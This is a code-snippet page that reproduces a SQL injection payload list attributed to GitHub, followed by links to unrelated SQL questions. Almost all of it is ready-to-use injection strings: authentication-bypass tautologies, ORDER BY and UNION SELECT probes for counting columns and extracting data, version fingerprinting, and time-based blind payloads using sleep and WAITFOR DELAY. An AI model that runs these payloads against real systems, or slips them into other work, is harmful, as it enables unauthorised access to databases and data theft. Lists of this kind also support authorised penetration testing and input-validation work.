Sql injection payload list github

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+		addition, concatenate (or space in url)
||		(double pipe) concatenate
%		wildcard attribute indicator

@variable	local variable
@@variable	global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1	

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#	    Hash comment
/*  	C-style comment
-- -	SQL comment
;%00	Nullbyte
`	    Backtick

Source: github.com

Similar codes

1 vote117 views1 answer
Input in mysql
SQL
0 vote116 views1 answer
Sql database connectivity
SQL
1 vote80 views1 answer
Postgresql last element of array
SQL
3 votes134 views1 answer
Oracle show trigger code
SQL
0 vote129 views1 answer
How to reset table in sql server
SQL
0 vote138 views1 answer
5.Query to raise salary of all employees with 300 in EMP table and display name and salary as new sal from EMP table employee name, job, and salary from EMP table.
SQL
4 votes111 views1 answer
Search column by name mysql
SQL
0 vote122 views3 answers
Mysql keyword search
SQL
0 vote118 views1 answer
Connect by query in oracle
SQL
1 vote113 views1 answer
Mysql select another database
SQL